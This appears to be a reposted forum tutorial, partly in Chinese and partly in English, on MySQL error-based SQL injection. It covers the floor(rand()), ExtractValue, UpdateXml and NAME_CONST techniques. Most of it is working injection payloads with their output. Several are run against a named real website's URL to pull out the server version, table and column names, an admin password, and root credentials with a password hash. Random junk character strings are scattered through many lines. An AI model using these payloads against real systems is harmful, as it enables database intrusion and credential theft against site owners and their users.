mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
0 u  _. h% N. B, C6 z2 o( H|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
( ]" w) c* W* a, R5 TERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
, @' z& ?' Z6 q; f+ i% NERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
0 R2 ^7 [  _2 J测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

7 c! Y7 W" W: K/ W7 Z

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
+ q. y9 o  E$ e* V
+ b5 a3 U* @7 m1 B3 u7 d) {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
- i# E" e( l" A, V, |
1 D4 O( b& ~6 }Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

: j& e3 C# ^) b' z* R) I9 iMYSQL高版本报错注入技巧-利用NAME_CONST注入
& c% t, |- R8 B; p. P  i& C7 ~It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

2 ]& Z. u. r, N, Z
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

: I+ Z$ S. M8 l" BCode:
+ d$ s! E! A/ a. i1 O' |" tNAME_CONST(DATA, VALUE)
# ]4 |5 \& v+ l9 |6 j1 O3 @7 A
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)

# M+ o7 j$ G. y. R7 w; T# n
8 s, x+ [+ I; J  s
|---------------|
|     TEST      |
* ?) V, \% d% O, H|               |
) i( \3 Z  L6 {% T3 N9 C|---------------|
3 j3 z; _2 }8 b; R; ]& {|       1       |
& c8 w: |8 x7 A# B( l4 _9 s$ O# }- c|               |
, E; v2 S  d, y3 Q" c|---------------|

# f6 U' B* s% v


* ^. a4 [' K2 N6 Q5 r' _http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

: `( G6 m/ `) [% R/ O' {Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
- M) T5 T/ F2 T6 K9 u9 _! K3 L
Code:
, [  L7 N: S# hhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
0 R/ @9 u. r- {% P' w! N1 |. t
: W+ O( V9 {: p
8 J: j. E. J1 I+ K: x9 J+ }- b
# K& j  R# w) l! V6 W  j5 t5 u

Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

) e( ^& I, ?& R8 X9 t
: z, l5 Y. C( Z! r2 ^VAR = Your MySQL variable.

) W! w/ @& ^6 P2 ]; @  P% j* E% EMySQL 5.1.3 Server System Variables
( l9 B/ a9 @+ {: J2 t  w
Let's try it out on my site..

5 j7 ]# s/ d! g7 l6 O9 UCode:
. b5 G, Q3 D+ d& O- L+ y9 nhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

( [# o  t+ z' G: D6 J$ \5 u6 JErroruplicate column name '5.0.27-community-nt'


& q# a8 B9 m' K# U% k5 X' n

$ Y& j: R8 u* f
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

7 i7 d1 Q5 Z) j  w( Q- c5 m
We should get a duplicate column 1 error...

Code:
! ?  n! e3 [+ _7 H: |1 d' l' ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
6 ^- B* Z* c* G% }
8 {( O. T& i- B! [" iErroruplicate column name '1
( ~; |8 ~" J  X


+ s/ F  y/ ]# s+ V. D* Q* c/ }


Now let's get the tables out this bitch..
3 {2 V2 F6 }# K2 o0 F
1 W/ }7 [9 m/ K/ QCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
$ p# b. e$ y' p( M- H- T# T) ?3 q

$ f, Y  y* {# U; hLet's see if it works here, if it does, we can go on and finish the job.

3 H( V3 q5 `$ [+ J7 p9 [5 oCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 w: Y7 U% I' p" l1 H" C: U$ A
3 n4 ]2 D5 K' [
Erroruplicate column name 'com_admanage


7 n/ n0 O) D  v, v/ f
# |$ G6 J. {8 x5 i1 a

- @2 ~% P# w# g$ n
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
% D' s7 |& `7 @" p, `
Let's get the columns out of the user table..

Code:
9 ]8 X1 b: e6 i/ ]  ~+ j1 z+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
% y- j. u  v6 @  W0 t
  G* Y5 p- o6 q8 A  K
So mine looks like this, and I get the duplicate column name 'Host'.

" Z0 |. z5 m% g4 \# W! x+ RCode:
) n" a- v% o- S" a) Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
" D9 C6 g. {: U6 K5 o- E
) W+ W# k) c1 [Erroruplicate column name 'Host'
. w! o" _) `+ w. q, e. B! i" g

" O+ L: C+ [/ l

3 l/ r( q9 x0 G$ z2 [9 N, N  ]: O

! i% f5 T5 n* M0 ]+ E. U2 W) `. vWoot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

7 L; k6 Z! I1 ^
3 k* a+ C4 V" SSo mine looks like this...
5 O8 b. N' X! }" `3 t$ Z9 ?
* a- V$ v! W/ v. Z# ECode:
& y  K) t6 s. Hhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

* v2 }7 z% D( W* i5 V


9 U8 [% Q3 m; M9 P2 C

And there we have it, thanks for reading.
5 q: x) l5 h' T$ \& X